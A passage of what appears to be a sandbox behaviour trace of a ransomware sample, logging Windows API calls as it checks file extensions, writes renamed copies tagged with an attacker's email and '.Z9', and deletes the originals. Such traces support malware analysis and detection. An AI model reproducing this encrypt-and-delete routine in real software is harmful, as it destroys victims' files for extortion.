	[0071.761] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.761] lstrlenW (lpString=".ppt") returned 4
	[0071.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.761] lstrlenW (lpString=".zip") returned 4
	[0071.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.761] lstrlenW (lpString=".rar") returned 4
	[0071.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.761] lstrlenW (lpString=".bz2") returned 4
	[0071.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.761] lstrlenW (lpString=".7z") returned 3
	[0071.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.761] lstrlenW (lpString=".dbf") returned 4
	[0071.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.761] lstrlenW (lpString=".1cd") returned 4
	[0071.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.761] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45
	[0071.761] lstrlenW (lpString=".jpg") returned 4
	[0071.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.762] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.762] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.762] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18264) returned 1
	[0071.762] CloseHandle (hObject=0x300) returned 1
	[0071.762] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80
	[0071.762] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.762] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.762] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.762] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.763] GetLastError () returned 0x0
	[0071.763] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4758, lpOverlapped=0x0) returned 1
	[0071.810] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4760, lpOverlapped=0x0) returned 1
	[0071.812] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.812] WriteFile (in: hFile=0x338, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.812] SetEndOfFile (hFile=0x338) returned 1
	[0071.812] CloseHandle (hObject=0x338) returned 1
	[0071.813] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.813] SetEndOfFile (hFile=0x300) returned 1
	[0071.814] CloseHandle (hObject=0x300) returned 1
	[0071.814] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0071.815] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1
	[0071.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.815] lstrlenW (lpString=".doc") returned 4
	[0071.815] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.815] lstrlenW (lpString=".docx") returned 5
	[0071.815] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.815] lstrlenW (lpString=".pdf") returned 4
	[0071.815] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.815] lstrlenW (lpString=".xls") returned 4
	[0071.815] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.815] lstrlenW (lpString=".xlsx") returned 5
	[0071.815] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.815] lstrlenW (lpString=".ppt") returned 4
	[0071.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.815] lstrlenW (lpString=".zip") returned 4
	[0071.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString=".rar") returned 4
	[0071.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString=".bz2") returned 4
	[0071.816] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.816] lstrlenW (lpString=".7z") returned 3
	[0071.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.816] lstrlenW (lpString=".dbf") returned 4
	[0071.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.816] lstrlenW (lpString=".1cd") returned 4
	[0071.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.816] lstrlenW (lpString=".jpg") returned 4
	[0071.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.816] lstrlenW (lpString=".doc") returned 4
	[0071.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString=".docx") returned 5
	[0071.816] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0071.816] lstrlenW (lpString=".pdf") returned 4
	[0071.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString=".xls") returned 4
	[0071.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString=".xlsx") returned 5
	[0071.816] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0071.816] lstrlenW (lpString=".ppt") returned 4
	[0071.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.816] lstrlenW (lpString=".zip") returned 4
	[0071.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0071.816] lstrlenW (lpString=".rar") returned 4
	[0071.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0071.817] lstrlenW (lpString=".bz2") returned 4
	[0071.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0071.817] lstrlenW (lpString=".7z") returned 3
	[0071.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0071.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.817] lstrlenW (lpString=".dbf") returned 4
	[0071.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0071.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.817] lstrlenW (lpString=".1cd") returned 4
	[0071.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0071.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0071.817] lstrlenW (lpString=".jpg") returned 4
	[0071.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0071.817] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0071.817] lstrlenW (lpString="SetupResources.dll") returned 18
	[0071.817] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.817] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18776) returned 1
	[0071.817] CloseHandle (hObject=0x300) returned 1
	[0071.817] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80
	[0071.817] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0071.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0071.818] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.818] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0071.974] GetLastError () returned 0x0
	[0071.974] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x4958, lpOverlapped=0x0) returned 1
	[0071.995] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x4960, lpOverlapped=0x0) returned 1
	[0071.997] ReadFile (in: hFile=0x300, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.997] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0071.997] SetEndOfFile (hFile=0x374) returned 1
	[0071.997] CloseHandle (hObject=0x374) returned 1
	[0071.998] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.998] SetEndOfFile (hFile=0x300) returned 1
	[0071.999] CloseHandle (hObject=0x300) returned 1
	[0071.999] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.000] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1
	[0072.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.000] lstrlenW (lpString=".doc") returned 4
	[0072.000] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0072.000] lstrlenW (lpString=".docx") returned 5
	[0072.000] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0072.000] lstrlenW (lpString=".pdf") returned 4
	[0072.000] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0072.000] lstrlenW (lpString=".xls") returned 4
	[0072.000] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0072.000] lstrlenW (lpString=".xlsx") returned 5
	[0072.000] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0072.000] lstrlenW (lpString=".ppt") returned 4
	[0072.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0072.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.000] lstrlenW (lpString=".zip") returned 4
	[0072.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0072.000] lstrlenW (lpString=".rar") returned 4
	[0072.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0072.000] lstrlenW (lpString=".bz2") returned 4
	[0072.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0072.000] lstrlenW (lpString=".7z") returned 3
	[0072.001] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0072.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.001] lstrlenW (lpString=".dbf") returned 4
	[0072.001] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0072.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.001] lstrlenW (lpString=".1cd") returned 4
	[0072.001] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0072.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.001] lstrlenW (lpString=".jpg") returned 4
	[0072.001] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0072.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.001] lstrlenW (lpString=".doc") returned 4
	[0072.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0072.001] lstrlenW (lpString=".docx") returned 5
	[0072.001] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0072.001] lstrlenW (lpString=".pdf") returned 4
	[0072.001] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0072.001] lstrlenW (lpString=".xls") returned 4
	[0072.001] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0072.001] lstrlenW (lpString=".xlsx") returned 5
	[0072.001] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0072.001] lstrlenW (lpString=".ppt") returned 4
	[0072.001] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0072.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.001] lstrlenW (lpString=".zip") returned 4
	[0072.001] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0072.001] lstrlenW (lpString=".rar") returned 4
	[0072.001] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0072.001] lstrlenW (lpString=".bz2") returned 4
	[0072.001] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0072.001] lstrlenW (lpString=".7z") returned 3
	[0072.001] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0072.001] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.001] lstrlenW (lpString=".dbf") returned 4
	[0072.001] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0072.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.002] lstrlenW (lpString=".1cd") returned 4
	[0072.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0072.002] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0072.002] lstrlenW (lpString=".jpg") returned 4
	[0072.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0072.002] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.002] lstrlenW (lpString="Rotate1.ico") returned 11
	[0072.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.042] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=894) returned 1
	[0072.042] CloseHandle (hObject=0x35c) returned 1
	[0072.042] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80
	[0072.042] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.045] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0072.045] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.045] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.045] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.060] GetLastError () returned 0x0
	[0072.060] ReadFile (in: hFile=0x364, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x37e, lpOverlapped=0x0) returned 1
	[0072.065] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x380, lpOverlapped=0x0) returned 1
	[0072.066] ReadFile (in: hFile=0x364, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.066] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0072.066] SetEndOfFile (hFile=0x35c) returned 1
	[0072.080] CloseHandle (hObject=0x35c) returned 1
	[0072.086] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.086] SetEndOfFile (hFile=0x364) returned 1
	[0072.087] CloseHandle (hObject=0x364) returned 1
	[0072.087] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.087] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1
	[0072.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.088] lstrlenW (lpString=".doc") returned 4
	[0072.088] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.088] lstrlenW (lpString=".docx") returned 5
	[0072.088] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0072.088] lstrlenW (lpString=".pdf") returned 4
	[0072.088] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.088] lstrlenW (lpString=".xls") returned 4
	[0072.088] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.088] lstrlenW (lpString=".xlsx") returned 5
	[0072.088] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0072.088] lstrlenW (lpString=".ppt") returned 4
	[0072.088] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.088] lstrlenW (lpString=".zip") returned 4
	[0072.088] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.088] lstrlenW (lpString=".rar") returned 4
	[0072.088] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.088] lstrlenW (lpString=".bz2") returned 4
	[0072.088] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.088] lstrlenW (lpString=".7z") returned 3
	[0072.088] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.088] lstrlenW (lpString=".dbf") returned 4
	[0072.088] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.088] lstrlenW (lpString=".1cd") returned 4
	[0072.088] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.088] lstrlenW (lpString=".jpg") returned 4
	[0072.088] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.088] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.089] lstrlenW (lpString=".doc") returned 4
	[0072.089] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1
	[0072.089] lstrlenW (lpString=".docx") returned 5
	[0072.089] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1
	[0072.089] lstrlenW (lpString=".pdf") returned 4
	[0072.089] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1
	[0072.089] lstrlenW (lpString=".xls") returned 4
	[0072.089] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1
	[0072.089] lstrlenW (lpString=".xlsx") returned 5
	[0072.089] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1
	[0072.089] lstrlenW (lpString=".ppt") returned 4
	[0072.089] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1
	[0072.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.089] lstrlenW (lpString=".zip") returned 4
	[0072.089] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1
	[0072.089] lstrlenW (lpString=".rar") returned 4
	[0072.089] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1
	[0072.089] lstrlenW (lpString=".bz2") returned 4
	[0072.089] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1
	[0072.089] lstrlenW (lpString=".7z") returned 3
	[0072.089] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1
	[0072.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.089] lstrlenW (lpString=".dbf") returned 4
	[0072.089] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1
	[0072.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.089] lstrlenW (lpString=".1cd") returned 4
	[0072.089] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1
	[0072.089] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42
	[0072.089] lstrlenW (lpString=".jpg") returned 4
	[0072.089] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1
	[0072.089] lstrcmpiW (lpString1=".ico", lpString2=".Z9") returned -1
	[0072.090] lstrlenW (lpString="Rotate5.ico") returned 11
	[0072.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0072.091] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=894) returned 1
	[0072.091] CloseHandle (hObject=0x35c) returned 1
	[0072.091] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico")) returned 0x80
